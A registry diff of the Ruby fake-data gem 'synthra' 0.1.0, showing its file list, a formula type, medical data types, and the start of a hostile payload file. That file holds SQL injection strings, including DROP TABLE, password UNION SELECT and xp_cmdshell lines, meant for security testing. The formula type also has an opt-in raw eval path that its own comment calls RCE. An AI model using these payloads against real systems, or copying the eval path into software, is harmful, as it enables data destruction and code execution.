synthra 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +4 -0
- data/.rubocop.yml +40 -0
- data/.yardopts +18 -0
- data/ACCESS_DOCS.md +116 -0
- data/ADVANCED_FEATURES_SUMMARY.md +245 -0
- data/CHANGELOG.md +498 -0
- data/CODE_OF_CONDUCT.md +122 -0
- data/CONTRIBUTING.md +307 -0
- data/DOCUMENTATION.md +204 -0
- data/DOCUMENTATION_GUIDE.md +194 -0
- data/LICENSE +22 -0
- data/README.md +1458 -0
- data/Rakefile +128 -0
- data/benchmark/README.md +591 -0
- data/benchmark/batch_generation.rb +63 -0
- data/benchmark/engine_comparison.rb +295 -0
- data/benchmark/single_record.rb +108 -0
- data/benchmark/streaming.rb +74 -0
- data/docs/ACTIVERECORD_INFERENCE.md +524 -0
- data/docs/API_SERVER.md +278 -0
- data/docs/CONFIG_FILE.md +315 -0
- data/docs/DATA_CONTRACTS.md +312 -0
- data/docs/ENHANCED_REPL.md +304 -0
- data/docs/FACTORY_BOT.md +271 -0
- data/docs/GITHUB_ACTION.md +420 -0
- data/docs/GRAPHQL_EXPORT.md +303 -0
- data/docs/GRAPHQL_FEDERATION.md +651 -0
- data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
- data/docs/LSP.md +189 -0
- data/docs/MIGRATION_GENERATOR.md +547 -0
- data/docs/MOCK_SERVER.md +280 -0
- data/docs/NATIVE_ENGINE.md +298 -0
- data/docs/OPENAPI_EXPORT.md +252 -0
- data/docs/PERFORMANCE_MODE.md +228 -0
- data/docs/PERSONAS.md +547 -0
- data/docs/PROPERTY_TESTING.md +284 -0
- data/docs/PROTOBUF_EXPORT.md +276 -0
- data/docs/QUALITY_METRICS.md +555 -0
- data/docs/QUICK_REFERENCE.md +88 -0
- data/docs/RAILS_ENGINE.md +404 -0
- data/docs/RAILS_INTEGRATION.md +454 -0
- data/docs/README.md +175 -0
- data/docs/REPL_QUICK_REFERENCE.md +149 -0
- data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
- data/docs/SCENARIOS.md +576 -0
- data/docs/SECURITY_TESTING.md +318 -0
- data/docs/SNAPSHOT_TESTING.md +308 -0
- data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
- data/docs/TERRAFORM_EXPORT.md +447 -0
- data/docs/TIME_TRAVEL.md +507 -0
- data/docs/USAGE_GUIDE.md +980 -0
- data/docs/WEBHOOK_SIMULATOR.md +579 -0
- data/docs/advanced_features.md +183 -0
- data/docs/api_reference.md +153 -0
- data/docs/behaviors.md +138 -0
- data/docs/best_practices.md +191 -0
- data/docs/dsl_reference.md +172 -0
- data/docs/examples.md +162 -0
- data/docs/generation_modes.md +125 -0
- data/docs/getting_started.md +92 -0
- data/docs/index.html +177 -0
- data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
- data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
- data/docs/troubleshooting.md +215 -0
- data/docs/type_reference.md +224 -0
- data/examples/hostile_mode_demo.rb +64 -0
- data/exe/synthra +6 -0
- data/ext/synthra_native/Cargo.lock +972 -0
- data/ext/synthra_native/Cargo.toml +46 -0
- data/ext/synthra_native/extconf.rb +41 -0
- data/ext/synthra_native/src/generator.rs +397 -0
- data/ext/synthra_native/src/lib.rs +229 -0
- data/ext/synthra_native/src/types.rs +1485 -0
- data/lib/generators/synthra/install_generator.rb +86 -0
- data/lib/generators/synthra/templates/api_response.dsl +15 -0
- data/lib/generators/synthra/templates/fake_data.rake +116 -0
- data/lib/generators/synthra/templates/synthra.yml +31 -0
- data/lib/generators/synthra/templates/synthra_support.rb +19 -0
- data/lib/generators/synthra/templates/user.dsl +11 -0
- data/lib/synthra/activerecord_inference.rb +394 -0
- data/lib/synthra/api.rb +381 -0
- data/lib/synthra/api_server.rb +718 -0
- data/lib/synthra/behaviors/applicator.rb +165 -0
- data/lib/synthra/behaviors/base.rb +155 -0
- data/lib/synthra/behaviors/close_connection.rb +60 -0
- data/lib/synthra/behaviors/deprecated.rb +100 -0
- data/lib/synthra/behaviors/failure.rb +69 -0
- data/lib/synthra/behaviors/latency.rb +103 -0
- data/lib/synthra/behaviors/partial_data.rb +83 -0
- data/lib/synthra/behaviors/randomize_order.rb +74 -0
- data/lib/synthra/behaviors/registry.rb +238 -0
- data/lib/synthra/behaviors/simulate_error.rb +79 -0
- data/lib/synthra/cli/commands/base.rb +105 -0
- data/lib/synthra/cli/commands/diff.rb +227 -0
- data/lib/synthra/cli/commands/docs.rb +67 -0
- data/lib/synthra/cli/commands/export.rb +150 -0
- data/lib/synthra/cli/commands/generate.rb +72 -0
- data/lib/synthra/cli/commands/import.rb +80 -0
- data/lib/synthra/cli/commands/lint.rb +53 -0
- data/lib/synthra/cli/commands/live.rb +57 -0
- data/lib/synthra/cli/commands/seed.rb +99 -0
- data/lib/synthra/cli/commands/validate.rb +28 -0
- data/lib/synthra/cli.rb +2471 -0
- data/lib/synthra/config_file.rb +129 -0
- data/lib/synthra/configuration.rb +281 -0
- data/lib/synthra/contracts_registry.rb +408 -0
- data/lib/synthra/database_seeder.rb +268 -0
- data/lib/synthra/deterministic_ids.rb +218 -0
- data/lib/synthra/documentation_generator.rb +414 -0
- data/lib/synthra/engine.rb +251 -0
- data/lib/synthra/errors.rb +1169 -0
- data/lib/synthra/export/base.rb +85 -0
- data/lib/synthra/export/csv.rb +101 -0
- data/lib/synthra/export/graphql.rb +266 -0
- data/lib/synthra/export/graphql_federation.rb +377 -0
- data/lib/synthra/export/graphviz.rb +258 -0
- data/lib/synthra/export/javascript.rb +327 -0
- data/lib/synthra/export/json_data.rb +61 -0
- data/lib/synthra/export/json_schema.rb +290 -0
- data/lib/synthra/export/openapi.rb +514 -0
- data/lib/synthra/export/protobuf.rb +483 -0
- data/lib/synthra/export/python.rb +560 -0
- data/lib/synthra/export/sql.rb +381 -0
- data/lib/synthra/export/sql_insert.rb +152 -0
- data/lib/synthra/export/terraform.rb +501 -0
- data/lib/synthra/export/type_mapping.rb +389 -0
- data/lib/synthra/export/typescript.rb +300 -0
- data/lib/synthra/export/xml_data.rb +104 -0
- data/lib/synthra/export/yaml_data.rb +56 -0
- data/lib/synthra/export.rb +404 -0
- data/lib/synthra/factory_bot_integration.rb +157 -0
- data/lib/synthra/field.rb +440 -0
- data/lib/synthra/functions/registry.rb +104 -0
- data/lib/synthra/generator/context.rb +372 -0
- data/lib/synthra/generator/engine.rb +336 -0
- data/lib/synthra/generator/faker_adapter.rb +425 -0
- data/lib/synthra/generator/modes.rb +444 -0
- data/lib/synthra/generator/resolver.rb +256 -0
- data/lib/synthra/generator/rng.rb +273 -0
- data/lib/synthra/generator/streamer.rb +63 -0
- data/lib/synthra/generator/uniqueness.rb +118 -0
- data/lib/synthra/initializer.rb +97 -0
- data/lib/synthra/limits.rb +279 -0
- data/lib/synthra/live_preview.rb +518 -0
- data/lib/synthra/loader_config.rb +78 -0
- data/lib/synthra/lsp/server.rb +689 -0
- data/lib/synthra/migration_generator.rb +301 -0
- data/lib/synthra/mixin.rb +174 -0
- data/lib/synthra/mock_server.rb +458 -0
- data/lib/synthra/native_engine.rb +304 -0
- data/lib/synthra/openapi_importer.rb +228 -0
- data/lib/synthra/output/json_formatter.rb +40 -0
- data/lib/synthra/output/ndjson_formatter.rb +55 -0
- data/lib/synthra/parser/ast.rb +1287 -0
- data/lib/synthra/parser/lexer.rb +1152 -0
- data/lib/synthra/parser/parser.rb +1664 -0
- data/lib/synthra/parser/tokens.rb +461 -0
- data/lib/synthra/performance_mode.rb +364 -0
- data/lib/synthra/personas.rb +397 -0
- data/lib/synthra/property_testing.rb +172 -0
- data/lib/synthra/quality_metrics.rb +405 -0
- data/lib/synthra/rails_test_helper.rb +248 -0
- data/lib/synthra/registry.rb +533 -0
- data/lib/synthra/relationships.rb +193 -0
- data/lib/synthra/repl/enhanced_repl.rb +607 -0
- data/lib/synthra/repl/formatter.rb +191 -0
- data/lib/synthra/scenarios.rb +423 -0
- data/lib/synthra/schema.rb +605 -0
- data/lib/synthra/schema_inheritance.rb +104 -0
- data/lib/synthra/schema_versioning.rb +212 -0
- data/lib/synthra/snapshot_testing.rb +199 -0
- data/lib/synthra/time_travel.rb +338 -0
- data/lib/synthra/type_definitions.rb +274 -0
- data/lib/synthra/types/address_location/addresses.rb +125 -0
- data/lib/synthra/types/address_location/airports.rb +200 -0
- data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
- data/lib/synthra/types/address_location/locations.rb +406 -0
- data/lib/synthra/types/base.rb +48 -0
- data/lib/synthra/types/commerce_products/commerce.rb +119 -0
- data/lib/synthra/types/commerce_products/companies.rb +71 -0
- data/lib/synthra/types/commerce_products/construction.rb +126 -0
- data/lib/synthra/types/commerce_products/products.rb +205 -0
- data/lib/synthra/types/core/collections.rb +513 -0
- data/lib/synthra/types/core/defaults.rb +76 -0
- data/lib/synthra/types/core/enums.rb +102 -0
- data/lib/synthra/types/core/identifiers.rb +445 -0
- data/lib/synthra/types/core/primitives.rb +586 -0
- data/lib/synthra/types/core/references.rb +466 -0
- data/lib/synthra/types/core/sequences.rb +304 -0
- data/lib/synthra/types/crypto/crypto.rb +162 -0
- data/lib/synthra/types/date_time/dates.rb +387 -0
- data/lib/synthra/types/finance_banking/banking.rb +424 -0
- data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
- data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
- data/lib/synthra/types/formula.rb +184 -0
- data/lib/synthra/types/health_medical/medical.rb +150 -0
- data/lib/synthra/types/hostile_payloads.rb +122 -0
- data/lib/synthra/types/json_array.rb +51 -0
- data/lib/synthra/types/media_entertainment/media.rb +62 -0
- data/lib/synthra/types/naughty_string.rb +30 -0
- data/lib/synthra/types/personal_names/chinese.rb +41 -0
- data/lib/synthra/types/personal_names/identifiers.rb +187 -0
- data/lib/synthra/types/personal_names/names.rb +246 -0
- data/lib/synthra/types/personal_names/national_id.rb +89 -0
- data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
- data/lib/synthra/types/regex.rb +248 -0
- data/lib/synthra/types/registry.rb +182 -0
- data/lib/synthra/types/repeating_element.rb +50 -0
- data/lib/synthra/types/scenario.rb +29 -0
- data/lib/synthra/types/technology_internet/apps.rb +67 -0
- data/lib/synthra/types/technology_internet/communication.rb +162 -0
- data/lib/synthra/types/technology_internet/devices.rb +80 -0
- data/lib/synthra/types/technology_internet/formats.rb +139 -0
- data/lib/synthra/types/technology_internet/networking.rb +143 -0
- data/lib/synthra/types/template.rb +92 -0
- data/lib/synthra/types/text_content/business.rb +128 -0
- data/lib/synthra/types/text_content/colors.rb +70 -0
- data/lib/synthra/types/text_content/misc.rb +237 -0
- data/lib/synthra/types/text_content/security.rb +130 -0
- data/lib/synthra/types/text_content/text_generation.rb +532 -0
- data/lib/synthra/types/travel/travel.rb +150 -0
- data/lib/synthra/utils/string_distance.rb +133 -0
- data/lib/synthra/validator/dsl_validator.rb +339 -0
- data/lib/synthra/validator/path_validator.rb +615 -0
- data/lib/synthra/version.rb +35 -0
- data/lib/synthra/webhook_simulator.rb +341 -0
- data/lib/synthra.rb +259 -0
- data/schemas/address.dsl +16 -0
- data/schemas/api_response.dsl +8 -0
- data/schemas/error_payload.dsl +9 -0
- data/schemas/order.dsl +10 -0
- data/schemas/order_item.dsl +8 -0
- data/schemas/payment.dsl +11 -0
- data/schemas/social_post.dsl +13 -0
- data/schemas/user.dsl +10 -0
- data/scripts/batch_fix_all.rb +96 -0
- data/scripts/delete_old_files.rb +32 -0
- data/scripts/fix_all_grouped_files.rb +137 -0
- data/scripts/fix_all_indentation.rb +48 -0
- data/scripts/fix_all_syntax.rb +124 -0
- data/scripts/fix_grouped_files.rb +184 -0
- data/scripts/fix_syntax_errors.rb +108 -0
- data/scripts/group_domain_types.rb +112 -0
- data/scripts/group_domain_types_fixed.rb +150 -0
- data/scripts/merge_domains_to_one_file.rb +68 -0
- data/scripts/move_existing_types.rb +130 -0
- data/scripts/split_grouped_types.rb +142 -0
- data/tech_docs/README.md +134 -0
- data/tech_docs/advanced/streaming.md +405 -0
- data/tech_docs/advanced/thread_safety.md +253 -0
- data/tech_docs/api/overview.md +485 -0
- data/tech_docs/appendices/type_chart.md +193 -0
- data/tech_docs/basic_concepts.md +383 -0
- data/tech_docs/behaviors/overview.md +346 -0
- data/tech_docs/dsl/complex_types.md +790 -0
- data/tech_docs/dsl/core_types.md +464 -0
- data/tech_docs/dsl/datetime_types.md +325 -0
- data/tech_docs/dsl/field_modifiers.md +414 -0
- data/tech_docs/dsl/grammar.md +431 -0
- data/tech_docs/dsl/schema_definition.md +399 -0
- data/tech_docs/export/README.md +276 -0
- data/tech_docs/installation.md +273 -0
- data/tech_docs/integration/ci_cd.md +707 -0
- data/tech_docs/integration/ci_cd_guide.md +579 -0
- data/tech_docs/integration/factory_bot.md +485 -0
- data/tech_docs/integration/rails.md +630 -0
- data/tech_docs/integration/rspec.md +449 -0
- data/tech_docs/modes/overview.md +350 -0
- data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
- data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
- data/tech_docs/quick_start.md +256 -0
- data/tech_docs/templates/README.md +805 -0
- data/tech_docs/tutorials/advanced.md +371 -0
- data/tech_docs/tutorials/getting_started.md +189 -0
- data/tech_docs/tutorials/intermediate.md +231 -0
- data/tech_docs/tutorials/template_gallery.md +569 -0
- data/tech_example/01_basic_usage.rb +238 -0
- data/tech_example/02_types_demo.rb +336 -0
- data/tech_example/04_cli_usage.md +429 -0
- data/tech_example/05_database_seeding.rb +283 -0
- data/tech_example/07_rspec_integration.rb +359 -0
- data/tech_example/10_custom_types.rb +387 -0
- data/tech_example/12_behaviors.rb +372 -0
- data/tech_example/13_twitter_dm_example.rb +120 -0
- data/tech_example/14_exact_json_structure.rb +253 -0
- data/tech_example/16_lsp_server.rb +56 -0
- data/tech_example/17_property_testing.rb +92 -0
- data/tech_example/18_enhanced_repl.rb +120 -0
- data/tech_example/19_security_fuzzing.rb +145 -0
- data/tech_example/NEW_FEATURES.md +169 -0
- data/tech_example/README.md +118 -0
- data/tech_example/schemas/api_response.dsl +123 -0
- data/tech_example/schemas/ecommerce.dsl +121 -0
- data/tech_example/schemas/twitter_dm.dsl +109 -0
- data/tech_example/schemas/user.dsl +36 -0
- data/vscode-extension/README.md +246 -0
- data/vscode-extension/language-configuration.json +31 -0
- data/vscode-extension/package.json +55 -0
- data/vscode-extension/snippets/fakedatadsl.json +198 -0
- data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
- metadata +478 -0
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
# Formula type generator — computes a value from sibling numeric fields.
|
|
6
|
+
class Formula < Base
|
|
7
|
+
def generate_random(rng, context, args)
|
|
8
|
+
expression = args[:expression] || args[:expr] || "0"
|
|
9
|
+
return 0 if expression.to_s.empty?
|
|
10
|
+
|
|
11
|
+
# Substitute sibling numeric fields, then evaluate the expression.
|
|
12
|
+
result = replace_field_references(expression, context)
|
|
13
|
+
|
|
14
|
+
if Synthra.configuration.allow_eval
|
|
15
|
+
# Opt-in raw Ruby eval — RCE with tenant input, so for fully-trusted schemas only.
|
|
16
|
+
eval(result) # rubocop:disable Security/Eval -- gated behind allow_eval (trusted-schema opt-in)
|
|
17
|
+
else
|
|
18
|
+
# Default: sandboxed arithmetic (no eval, no RCE). Anything that isn't pure
|
|
19
|
+
# arithmetic over numbers / the whitelisted math functions evaluates to 0.
|
|
20
|
+
value = SafeArithmetic.eval(result)
|
|
21
|
+
value.nil? ? 0 : value
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
rescue StandardError
|
|
25
|
+
0
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
def generate_edge(rng, context, args)
|
|
29
|
+
rng.sample([0, 1, -1, 999999])
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
def generate_invalid(rng, context, args)
|
|
33
|
+
rng.sample([nil, "not-a-number", [], {}])
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
private
|
|
37
|
+
|
|
38
|
+
def replace_field_references(expr, context)
|
|
39
|
+
return expr unless context
|
|
40
|
+
return expr unless context.respond_to?(:each)
|
|
41
|
+
|
|
42
|
+
result = expr.dup
|
|
43
|
+
context.each do |key, value|
|
|
44
|
+
result.gsub!(/\b#{key}\b/, value.to_s) if value.is_a?(Numeric)
|
|
45
|
+
end
|
|
46
|
+
result
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
# Sandboxed arithmetic evaluator: numbers, `+ - * / % **`, parentheses, and the
|
|
50
|
+
# whitelisted math functions below. No `eval`, so it is safe for tenant-supplied
|
|
51
|
+
# expressions (the RCE foot-gun is removed). Returns nil for anything outside this
|
|
52
|
+
# grammar — the caller treats nil as 0. Recursive-descent; state is per-instance so
|
|
53
|
+
# it is safe to reuse the type across generations.
|
|
54
|
+
class SafeArithmetic
|
|
55
|
+
FUNCTIONS = {
|
|
56
|
+
"min" => ->(a) { a.min },
|
|
57
|
+
"max" => ->(a) { a.max },
|
|
58
|
+
"abs" => ->(a) { a.first.abs },
|
|
59
|
+
"sqrt" => ->(a) { Math.sqrt(a.first) },
|
|
60
|
+
"floor" => ->(a) { a.first.floor },
|
|
61
|
+
"ceil" => ->(a) { a.first.ceil },
|
|
62
|
+
"round" => ->(a) { a.length > 1 ? a[0].round(a[1].to_i) : a[0].round },
|
|
63
|
+
"pow" => ->(a) { a[0]**a[1] }
|
|
64
|
+
}.freeze
|
|
65
|
+
|
|
66
|
+
def self.eval(expression)
|
|
67
|
+
new(expression).result
|
|
68
|
+
rescue StandardError
|
|
69
|
+
nil
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
def initialize(expression)
|
|
73
|
+
@tokens = tokenize(expression)
|
|
74
|
+
@pos = 0
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
def result
|
|
78
|
+
return nil if @tokens.empty?
|
|
79
|
+
|
|
80
|
+
value = parse_add
|
|
81
|
+
@pos == @tokens.length ? value : nil
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
private
|
|
85
|
+
|
|
86
|
+
# Tokenize and reject (return []) if any character isn't part of the grammar —
|
|
87
|
+
# e.g. quotes, method calls, or leftover identifiers from a non-arithmetic field.
|
|
88
|
+
def tokenize(expression)
|
|
89
|
+
tokens = expression.to_s.scan(%r{\d+\.\d+|\d+|[A-Za-z_]\w*|\*\*|[-+*/%(),]})
|
|
90
|
+
tokens.join == expression.to_s.gsub(/\s+/, "") ? tokens : []
|
|
91
|
+
end
|
|
92
|
+
|
|
93
|
+
def peek
|
|
94
|
+
@tokens[@pos]
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
def take
|
|
98
|
+
tok = @tokens[@pos]
|
|
99
|
+
@pos += 1
|
|
100
|
+
tok
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
def parse_add
|
|
104
|
+
value = parse_mul
|
|
105
|
+
while ["+", "-"].include?(peek)
|
|
106
|
+
value = take == "+" ? value + parse_mul : value - parse_mul
|
|
107
|
+
end
|
|
108
|
+
value
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
def parse_mul
|
|
112
|
+
value = parse_pow
|
|
113
|
+
while ["*", "/", "%"].include?(peek)
|
|
114
|
+
op = take
|
|
115
|
+
rhs = parse_pow
|
|
116
|
+
value = apply_mul(op, value, rhs)
|
|
117
|
+
end
|
|
118
|
+
value
|
|
119
|
+
end
|
|
120
|
+
|
|
121
|
+
def apply_mul(op, lhs, rhs)
|
|
122
|
+
case op
|
|
123
|
+
when "*" then lhs * rhs
|
|
124
|
+
when "/" then lhs.to_f / rhs
|
|
125
|
+
else lhs % rhs
|
|
126
|
+
end
|
|
127
|
+
end
|
|
128
|
+
|
|
129
|
+
def parse_pow
|
|
130
|
+
base = parse_unary
|
|
131
|
+
return base unless peek == "**"
|
|
132
|
+
|
|
133
|
+
take
|
|
134
|
+
base**parse_pow # right-associative
|
|
135
|
+
end
|
|
136
|
+
|
|
137
|
+
def parse_unary
|
|
138
|
+
return parse_primary unless peek == "-"
|
|
139
|
+
|
|
140
|
+
take
|
|
141
|
+
-parse_unary
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
def parse_primary
|
|
145
|
+
tok = peek
|
|
146
|
+
raise "unexpected end" if tok.nil?
|
|
147
|
+
|
|
148
|
+
if tok == "("
|
|
149
|
+
parse_group
|
|
150
|
+
elsif tok.match?(/\A\d/)
|
|
151
|
+
take
|
|
152
|
+
tok.include?(".") ? tok.to_f : tok.to_i
|
|
153
|
+
elsif tok.match?(/\A[A-Za-z_]/)
|
|
154
|
+
parse_function(tok)
|
|
155
|
+
else
|
|
156
|
+
raise "unexpected token #{tok}"
|
|
157
|
+
end
|
|
158
|
+
end
|
|
159
|
+
|
|
160
|
+
def parse_group
|
|
161
|
+
take # "("
|
|
162
|
+
value = parse_add
|
|
163
|
+
raise "missing )" unless take == ")"
|
|
164
|
+
|
|
165
|
+
value
|
|
166
|
+
end
|
|
167
|
+
|
|
168
|
+
def parse_function(name)
|
|
169
|
+
fn = FUNCTIONS[name]
|
|
170
|
+
raise "unknown function #{name}" unless fn
|
|
171
|
+
|
|
172
|
+
take # name
|
|
173
|
+
raise "expected (" unless take == "("
|
|
174
|
+
|
|
175
|
+
args = [parse_add]
|
|
176
|
+
args << parse_add while peek == "," && take
|
|
177
|
+
raise "expected )" unless take == ")"
|
|
178
|
+
|
|
179
|
+
fn.call(args)
|
|
180
|
+
end
|
|
181
|
+
end
|
|
182
|
+
end
|
|
183
|
+
end
|
|
184
|
+
end
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
module HealthMedical
|
|
6
|
+
# BloodType type
|
|
7
|
+
class BloodType < Base
|
|
8
|
+
# Available blood type identifiers
|
|
9
|
+
#
|
|
10
|
+
# Standard ABO blood group system with Rh factor.
|
|
11
|
+
#
|
|
12
|
+
# @return [Array<String>] list of blood type strings
|
|
13
|
+
#
|
|
14
|
+
BLOOD_TYPES = ["A+", "A-", "B+", "B-", "AB+", "AB-", "O+", "O-"].freeze
|
|
15
|
+
|
|
16
|
+
# Generate random blood type
|
|
17
|
+
#
|
|
18
|
+
# @param rng [Generator::RNG] random number generator
|
|
19
|
+
# @param context [Generator::Context] generation context
|
|
20
|
+
# @param args [Hash] type arguments (not used)
|
|
21
|
+
# @return [String] generated blood type
|
|
22
|
+
#
|
|
23
|
+
def generate_random(rng, context, args)
|
|
24
|
+
# Try Faker first
|
|
25
|
+
adapter = faker_adapter(context)
|
|
26
|
+
if adapter
|
|
27
|
+
adapter.blood_type
|
|
28
|
+
|
|
29
|
+
else
|
|
30
|
+
Faker::Blood.type
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
rescue StandardError
|
|
34
|
+
rng.sample(BLOOD_TYPES)
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
def generate_edge(rng, context, args)
|
|
39
|
+
["", "O+", "AB-"].sample(random: rng.instance_variable_get(:@random))
|
|
40
|
+
end
|
|
41
|
+
|
|
42
|
+
def generate_invalid(rng, context, args)
|
|
43
|
+
[nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
44
|
+
end
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
# Bmi type
|
|
48
|
+
class Bmi < Base
|
|
49
|
+
# Generate random BMI
|
|
50
|
+
#
|
|
51
|
+
# @param rng [Generator::RNG] random number generator
|
|
52
|
+
# @param context [Generator::Context] generation context
|
|
53
|
+
# @param args [Hash] type arguments
|
|
54
|
+
# @option args [Range] :range BMI range (default: 15.0..40.0)
|
|
55
|
+
# @option args [Float] :min minimum BMI (default: 15.0)
|
|
56
|
+
# @option args [Float] :max maximum BMI (default: 40.0)
|
|
57
|
+
# @return [Float] generated BMI value
|
|
58
|
+
#
|
|
59
|
+
def generate_random(rng, context, args)
|
|
60
|
+
if args[:range].is_a?(Range)
|
|
61
|
+
min = args[:range].min
|
|
62
|
+
max = args[:range].max
|
|
63
|
+
else
|
|
64
|
+
min = args[:min] || 15.0
|
|
65
|
+
max = args[:max] || 40.0
|
|
66
|
+
end
|
|
67
|
+
value = rng.rand * (max - min) + min
|
|
68
|
+
value.round(1)
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
def generate_edge(rng, context, args)
|
|
72
|
+
[15.0, 40.0, 18.5, 25.0].sample(random: rng.instance_variable_get(:@random))
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
def generate_invalid(rng, context, args)
|
|
76
|
+
[nil, "not a number", -1.0, 50.0, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
77
|
+
end
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
# HeartRate type
|
|
81
|
+
class HeartRate < Base
|
|
82
|
+
# Generate random heart rate
|
|
83
|
+
#
|
|
84
|
+
# @param rng [Generator::RNG] random number generator
|
|
85
|
+
# @param context [Generator::Context] generation context
|
|
86
|
+
# @param args [Hash] type arguments
|
|
87
|
+
# @option args [Range] :range heart rate range (default: 60..100)
|
|
88
|
+
# @option args [Integer] :min minimum BPM (default: 60)
|
|
89
|
+
# @option args [Integer] :max maximum BPM (default: 100)
|
|
90
|
+
# @return [Integer] generated heart rate
|
|
91
|
+
#
|
|
92
|
+
def generate_random(rng, context, args)
|
|
93
|
+
if args[:range].is_a?(Range)
|
|
94
|
+
min = args[:range].min
|
|
95
|
+
max = args[:range].max
|
|
96
|
+
else
|
|
97
|
+
min = args[:min] || 60
|
|
98
|
+
max = args[:max] || 100
|
|
99
|
+
end
|
|
100
|
+
rng.int(min, max)
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
def generate_edge(rng, context, args)
|
|
104
|
+
[60, 100, 120, 40].sample(random: rng.instance_variable_get(:@random))
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
def generate_invalid(rng, context, args)
|
|
108
|
+
[nil, "not a number", -1, 300, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
109
|
+
end
|
|
110
|
+
end
|
|
111
|
+
|
|
112
|
+
# MedicalCode type
|
|
113
|
+
class MedicalCode < Base
|
|
114
|
+
# Generate random medical code
|
|
115
|
+
#
|
|
116
|
+
# @param rng [Generator::RNG] random number generator
|
|
117
|
+
# @param context [Generator::Context] generation context
|
|
118
|
+
# @param args [Hash] type arguments
|
|
119
|
+
# @option args [Symbol] :type code type (:icd10, :cpt, :hcpcs)
|
|
120
|
+
# @return [String] generated medical code
|
|
121
|
+
#
|
|
122
|
+
def generate_random(rng, context, args)
|
|
123
|
+
type = (args[:type] || :icd10).to_sym
|
|
124
|
+
|
|
125
|
+
case type
|
|
126
|
+
when :cpt
|
|
127
|
+
# CPT codes: 5 digits
|
|
128
|
+
format("%05d", rng.int(10000, 99999))
|
|
129
|
+
when :hcpcs
|
|
130
|
+
# HCPCS codes: 1 letter + 4 digits
|
|
131
|
+
letter = rng.sample(("A".."Z").to_a)
|
|
132
|
+
format("%s%04d", letter, rng.int(0, 9999))
|
|
133
|
+
else # :icd10
|
|
134
|
+
# ICD-10 codes: Letter + 2 digits + . + digit
|
|
135
|
+
letter = rng.sample(("A".."Z").to_a)
|
|
136
|
+
format("%s%02d.%d", letter, rng.int(0, 99), rng.int(0, 9))
|
|
137
|
+
end
|
|
138
|
+
end
|
|
139
|
+
|
|
140
|
+
def generate_edge(rng, context, args)
|
|
141
|
+
["A00.0", "Z99.9", "10000", "A0000"].sample(random: rng.instance_variable_get(:@random))
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
def generate_invalid(rng, context, args)
|
|
145
|
+
[nil, "not a code", "invalid", [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
146
|
+
end
|
|
147
|
+
end
|
|
148
|
+
end
|
|
149
|
+
end
|
|
150
|
+
end
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
# =============================================================================
|
|
4
|
+
# Synthra Hostile Payloads
|
|
5
|
+
# =============================================================================
|
|
6
|
+
#
|
|
7
|
+
# Security attack payloads for :hostile generation mode.
|
|
8
|
+
# Used for security testing of API endpoints consuming generated data.
|
|
9
|
+
#
|
|
10
|
+
# =============================================================================
|
|
11
|
+
|
|
12
|
+
module Synthra
|
|
13
|
+
module HostilePayloads
|
|
14
|
+
# SQL Injection payloads
|
|
15
|
+
SQL_INJECTION = [
|
|
16
|
+
"' OR '1'='1",
|
|
17
|
+
"'; DROP TABLE users;--",
|
|
18
|
+
"' UNION SELECT * FROM users--",
|
|
19
|
+
"1' OR '1'='1",
|
|
20
|
+
"admin'--",
|
|
21
|
+
"' OR 1=1;--",
|
|
22
|
+
"1' AND '1'='1",
|
|
23
|
+
"' OR 'x'='x",
|
|
24
|
+
"') OR ('1'='1--",
|
|
25
|
+
"1' OR '1'='1' /*",
|
|
26
|
+
"'; EXEC xp_cmdshell('dir');--",
|
|
27
|
+
"' OR 1=1 LIMIT 1 -- '",
|
|
28
|
+
"' OR 1=1 UNION SELECT NULL, username, password FROM users--",
|
|
29
|
+
"admin' OR '1'='1' /*",
|
|
30
|
+
"' UNION SELECT NULL--",
|
|
31
|
+
